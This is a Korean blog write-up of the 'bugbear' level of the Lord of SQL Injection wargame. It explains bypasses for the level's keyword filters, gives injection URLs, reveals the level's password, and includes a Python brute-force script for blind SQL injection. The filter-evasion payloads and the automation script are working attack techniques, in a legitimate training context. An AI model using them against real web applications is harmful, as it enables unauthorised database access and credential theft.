-
[LOS] 13. bugbear 문제 풀이Wargame/LOS (Lord of SQL Injection) 2019. 7. 19. 01:13
no와 pw 2개의 인자를 GET 방식으로 입력받는다. pw에서는 싱글 쿼터(')를 필터링하고, no에서는 싱글쿼터('), substr 함수, ascii 함수, 등호(=), or, and, like, 0x, 공백까지 모두 필터링한다. 따라서 이 모든 필터링을 피해서 pw를 찾아내야 한다.
우회 방법은 아래와 같다.
- 공백 → \n (URL Encoding: %0a)
- 등호(=), LIKE → instr 함수, IN 연산자, 부등호(<, >)
- 싱글 쿼터(') → 더블 쿼터(")
- ascii 함수 → ord 함수, hex 함수
- substr 함수 → mid 함수
- OR → ||
- AND → && (URL Encoding: %26%26)
instr 함수에 대한 설명은 아래를 참조하자.
...더보기
instr 함수
- 형식: int instr(string str, string substr)
- 문자열 str 내에 substr이 존재할 때, 그 시작 위치를 반환한다. 만약 substr이 str 내에 존재하지 않으면 0을 반환한다.
- 예시) instr("abcdefg", "bcd")
- 리턴값) 2
등호(=) 대신 IN 연산자를 사용해 보았는데 정상적으로 잘 동작했다.
no=1%0a||%0aid%0ain%0a("admin")
instr 함수가 먹히는지도 확인해보았는데 역시 정상적으로 잘 동작했다.
no=1%0a||%0ainstr(id,"admin")
instr 함수와 length 함수를 이용하여 pw의 길이를 먼저 알아보자.
length의 경우 리턴값이 정수이고 등호를 사용할 수 없기 때문에 부등호(>, <)로 대체하여 사용해야 한다.
no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)>7%0a%26%26%0alength(pw)<9
pw의 길이는 8이다.
이제 실제 pw가 무엇인지 찾아보자.
substr 함수 대신 mid 함수를 사용하고, ascii 함수 대신 hex 함수를 사용하여 pw를 찾아낸다.
ord 함수가 아닌 hex 함수를 사용하는 이유는, preg_match 필터링 목록에 or 문자열이 포함되어 있어서, or 문자열을 포함하고 있는 ord 함수 역시 필터링에 걸리기 때문이다.
hex 함수는 인자로 들어온 문자열을 헥사값으로 반환하기 때문에, 비교할 때에도 각 문자의 아스키코드 값을 16진수로 변환한 값을 사용해야 한다. 비교 연산자로는 IN을 사용하였다.
no=1%0a||%0aid%0ain%0a("admin")%26%26%hex(mid(pw,1,1))%0ain%0a(hex(53))
자동화 프로그램을 사용하여 pw를 찾아내자.
pw는 52dc3991이므로 이를 인자로 입력하면 문제가 해결된다.
자동화 프로그램 코드는 아래와 같다.
...더보기
자동화 프로그램 코드
import re, urllib, urllib2 pw="" ssid = "본인의 세션 아이디" print("find pw") for i in range(1, 9): for j in range(48, 123): url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1||id%0ain%0a(%22admin%22)%26%26' url += "hex(mid(pw,"+str(i)+",1))%0ain%0a(hex("+str(j)+"))" req=urllib2.Request(url) # send request req.add_header('Cookie',"PHPSESSID=%s" % ssid) read = urllib2.urlopen(req).read() if "Hello admin" in read: pw += chr(j) print ("pw: " + pw) break print ("Fin")
'Wargame > LOS (Lord of SQL Injection)' 카테고리의 다른 글
[LOS] 15. assassin 문제 풀이 (0) 2019.07.19 [LOS] 14. giant 문제 풀이 (0) 2019.07.19 [LOS] 12. darkknight 문제 풀이 (0) 2019.07.18 [LOS] 11. golem 문제 풀이 (0) 2019.07.18 [LOS] 10. skeleton 문제 풀이 (0) 2019.07.17